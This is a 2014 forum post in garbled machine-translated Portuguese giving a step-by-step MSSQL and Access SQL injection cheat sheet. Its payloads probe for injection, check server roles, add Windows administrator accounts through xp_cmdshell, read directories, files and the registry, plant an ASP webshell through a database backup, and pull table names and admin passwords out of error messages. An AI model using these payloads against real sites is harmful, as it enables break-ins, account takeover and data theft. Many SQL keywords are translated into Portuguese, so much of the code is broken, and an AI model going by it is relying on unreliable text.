|
|
Publicado em 22/11/2014 17:17:21
|
|
|

1. Determinar se há uma injeção ; e 1=1 ; e 1=2
2. Julgamento preliminar se é mssql ; e usuário>0
3. Julgar o sistema de banco de dados ; e (select count(*) from sysobjects)>0 mssql ; e (select count(*) do msysobjects)>0 acesso
4. O parâmetro de injeção é um caractere 'e [critérios de consulta] e ''='
5. Não há parâmetros filtrados durante a busca 'e [critérios de consulta] e '%25'='
6. Adivinhe o nome da mesa ; e (selecione Contagem(*) de [nome da tabela])>0
7. Adivinhe o campo ; e (selecionar Contagem(nome do campo) a partir do nome da tabela)>0
8. Adivinhe o comprimento do disco no campo ; e (selecione a lente top 1 (nome do campo) do nome da tabela)>0
9. (1) Adivinhar o valor ASCII do campo (acesso) ; e (selecione top 1 asc(mid(nome do campo, 1,1)) do nome da tabela)>0
(2) Adivinhar o valor ASCII do campo (mssql) ; e (selecione top 1 unicode(substring(nome do campo,1,1)) do nome da tabela)>0
10. Estrutura de Permissão de Teste (mssql) ; e 1=(selecione IS_SRVROLEMEMBER('sysadmin')); -- ; e 1=(selecione IS_SRVROLEMEMBER('serveradmin')); -- ; e 1=(selecione IS_SRVROLEMEMBER('setupadmin')); -- ; e 1=(selecione IS_SRVROLEMEMBER('securityadmin')); -- ; e 1=(selecione IS_SRVROLEMEMBER('diskadmin')); -- ; e 1=(selecionar IS_SRVROLEMEMBER('bulkadmin')); -- ; e 1=(selecionar IS_MEMBER('db_owner')); --
11. Adicionar uma conta para mssql e o sistema ; Nome de usuário master.dbo.sp_addlogin executivo; -- ; exec master.dbo.sp_password null, nome de usuário, senha; -- ; nome de usuário de administrador de sistemas master.dbo.sp_addsrvrolemember exec; -- ; Executivo master.dbo.xp_cmdshell 'Nome de usuário da internet senha /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add'; -- ; Exec master.dbo.xp_cmdshell 'Nome de usuário da internet senha /add'; -- ; exec master.dbo.xp_cmdshell 'Administrador de grupo local da rede usuário /add'; --
12. (1) Percorra o catálogo ; Criar diretores de tabela (paths varchar(100), id int) ; Insira direções executivas master.dbo.xp_dirtree 'C:\' ; e (selecione os caminhos top 1 das direções)>0 ; e (selecione os caminhos top 1 das direções onde caminhos não estão em('caminhos obtidos a partir do passo anterior'))>)
(2) Atravessar o catálogo ; crie a temperatura da tabela (id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); -- ; insira o executivo temporário master.dbo.xp_availablemedia; -- Obter todos os drives de corrente ; inserir no temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Obter uma lista de subdiretórios ; inserir no executivo temp(id,num1) master.dbo.xp_dirtree 'c:\'; -- Obter a estrutura de árvore de diretórios para todos os subdiretórios ; inserir no temp(id) exec master.dbo.xp_cmdshell 'tipo C:\web\index.asp'; -- Visualizar o conteúdo do arquivo
13. Procedimentos armazenados em mssql xp_regenumvalues Chave raiz do registro, chave filho ; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' retorna todos os valores-chave em múltiplos conjuntos de registros xp_regread Chave raiz, chave filha, nome chave-valor ; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion', 'CommonFilesDir' retorna o valor da chave de conjunto xp_regwrite Chave raiz, chave filha, nome do valor, tipo de valor, valor Existem dois tipos de valores REG_SZ REG_DWORD para tipos de caracteres e para inteiros ; exec xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestvalueName', 'reg_sz', 'olá' para o registro xp_regdeletevalue Chave raiz, subchave, nome do valor exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestvalueName' para remover um valor xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' para remover a chave, incluindo todos os valores sob essa chave
14. Backup MSSQL cria um webshell Usar modelo criar tabela cmd(imagem str); inserir em cmd(str) valores ('<% Dim oScript %>'); Faça backup do modelo do banco de dados para disco='c:\l.asp';
15. Funções embutidas do MSSQL ; e (selecione @@version)>0 para obter o número de versão do Windows ; e user_name()='dbo' para determinar se o usuário conectado do sistema atual é SA ; e (selecione user_name())>0 Explodiu os usuários conectados do sistema atual ; e (selecione db_name())>0 para obter o banco de dados atualmente conectado
Violação de banco de dados anotada manualmente por MSSQL
1. Expor o nome atual da tabela e o nome da coluna Envie "'having 1=1--" após o ponto de injeção para receber a mensagem de retorno em inglês, na qual você pode ver o nome da tabela e o nome da coluna. Envie "grupo pelo nome da lista tendo 1=1--" para obter outro nome de coluna; Continue a enviar "agrupar pela lista do nome da tabela exposta, o nome da tabela exposta". O nome da segunda coluna tem 1=1--", o que te dá outro nome de coluna. Faça commit da mesma forma até que a página não retorne mais mensagens de erro para obter todos os nomes das colunas. Curiosidades: Nomes violentos de tabelas e nomes de colunas são usados em combinação com GROUP BY em instruções SQL para fazer julgamentos condicionais. Como a instrução está incompleta, o banco de dados retorna uma mensagem de erro e exibe o nome da tabela e o nome da coluna. O método básico só pode expor a tabela atual no banco de dados, e se uma tabela contiver muitos nomes de colunas, é muito difícil usar o método básico.
Primeiro. Todos os nomes de bancos de dados são expostos Use a instrução "and 0<>(select count(*) from master.dbo.sysdatabases onde name>1 e dbid=[N])" para expor nomes arbitrários de tabelas e colunas no banco de dados, onde "[N]" representa a N-ésima tabela do banco de dados. Passo 1: Após injetar o ponto, envie a seguinte instrução: "e 0<>(select count(*) from master.dbo.sysdatabases onde name>1 e dbid=12)", porque o valor de dbid vai de 1 a 5, que é usado pelo sistema, então o usuário deve ter construído a partir do 6, e nós enviamos o nome>1, o campo de nome é um campo de tipo de caractere, e a comparação numérica estará errada, então após o envio, o IE retornará a seguinte informação: "Microsoft OLE DB Provider for ODBC Drivers error ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server] converte o valor nvarchar 'Northwind' para o tipo de dado int coluna. Dessa forma, o valor do campo nome é exposto, ou seja, obtemos um nome de banco de dados: "Northwind". Alterar o valor de "dbid" pode obter todos os nomes do banco de dados.
e 0<>(select count(*) do master.dbo.sysdatabases onde name>1 e dbid=[N])-- Modificar N para explodir todos os nomes de banco de dados a partir de 6
Segundo. Expor todos os nomes de tabelas no banco de dados especificado Depois de obter o nome do banco de dados, agora você precisa obter todos os nomes das tabelas na biblioteca, enviar a seguinte instrução: "e 0<>(selecione o nome principal 1 de master.dbo.sysobjects onde xtype='U')", aqui está o nome da tabela no banco de dados mestre, e a instrução SQL da consulta retorna o valor do nome, e então compare com o número 0, para que o valor do nome seja exposto. Após o envio, o nome da tabela era "'spt_monito" foi revelado. Depois, as outras tabelas são expostas, e a seguinte declaração é enviada: "e 0<>(selecione o nome top 1 de master.dbo.sysobjects onde xtype='U' e nome que não está em('spt_monito'))", e outra tabela chamada "cd512" é exposta. Arquivo "e nome não em(' spt_monito',' CD512',..))" Você pode descobrir todos os nomes das tabelas.
e 0<>(selecione o nome top 1 de [especificar nome do banco de dados].dbo.sysobjects onde xtype='U')-- e 0<>(selecione o nome top 1 de [especificar nome do banco de dados].dbo.sysobjects onde xtype='U' e name not in('[Nome da tabela explodida]'))-- e 0<>(selecione o nome top 1 de [especificar nome do banco de dados].dbo.sysobjects onde xtype='U' e nome não em('[Nome da tabela explosiva]', '[Nome da segunda tabela explodida]'))))--
4. Expor todos os nomes das colunas na tabela especificada e 0<>(select count(*) de bbs.dbo.sysobjects onde xtype='U' e name='admin' e uid>(str(id))) Converta o valor do ID para um tipo de caractere e depois compare com um valor inteiro. O número de identificação saiu. O valor é: 949578421 nome='nome da tabela'
e 0<>(selecione o nome principal 1 de wutong.dbo.syscolumns onde id=949578421)-- Um nome de campo na tabela de administração é exposto
Reenviar e 0<>(selecione o nome top 1 de wutong.dbo.syscolumns onde id=949578421 e nome não em('adduser')))-- Arquivo "e nome não em(' spt_monito',' CD512',..))" Você pode encontrar todos os nomes dos campos na tabela de administração.
e 0<>(select count(*) de [especificar nome do banco de dados].dbo.sysobjects onde xtype='U' e name='[Nome da tabela do campo a ser explodido]' e uid>(str(id))))--O valor ID do nome da tabela do campo a ser explodido
e 0<>(selecione o nome do topo 1 em [especificar nome do banco de dados].dbo.syscolumns onde id=valor de id explodido)-- O nome de um campo na tabela de valores de id explosivo
e 0<>(selecione o nome top 1 de [especificar nome do banco de dados].dbo.syscolumns onde id=Valor e nome do Explosivo que não está em('[Nome do campo explodido]')))--
5. Leia os dados na tabela especificada
e 0<(select A_ID from wutong.dbo.admin onde A_UserID>1) — o conteúdo que quebrou A_PWD
e 0<(selecione [um campo que existe] de [especificar nome do banco de dados].dbo.[nome da tabela para consulta] onde [nome do campo para expandir conteúdo]>1)--
e 0<(selecione A_ID em wutong.dbo.admin onde A_PWD>1 e A_UserID='admin') — A senha do administrador é exposta
e 0<(Selecione Top 1 A_UserID FROM admin onde A_ID<>1)-- O nome do administrador do id<>1 (fuhao)
e 0<(Selecione Top 1 A_UserID FROM admin onde A_ID <>1 e A_UserID <> 'fuhao')-- O nome do segundo admin não <> igual a (tuiguang)
e 0<(Selecione Top 1 A_UserID FROM admin onde A_ID <>1 e A_UserID <> 'fuhao' e A_UserID <> 'tuiguang')--
Depois de saber o nome da tabela e da coluna do banco de dados, você pode usar a "consulta de instrução" para ler qualquer informação no banco de dados. Por exemplo, se você quiser ler os dados N-ésimos em uma coluna de uma tabela, pode enviar a instrução: "e (Selecione Top 1 nome da coluna FROM nome da tabela onde id=[N])>1" ([N] representa os dados N-ésimos na coluna), e você pode saber os dados desejados a partir das informações retornadas pelo IE.
|
Anterior:Como esconder um arquivo rar comprimido em um arquivo jpgPróximo:Colecionar "Harry Potter" 1~7 Tire e compartilhe Se não gostar, não borrife
|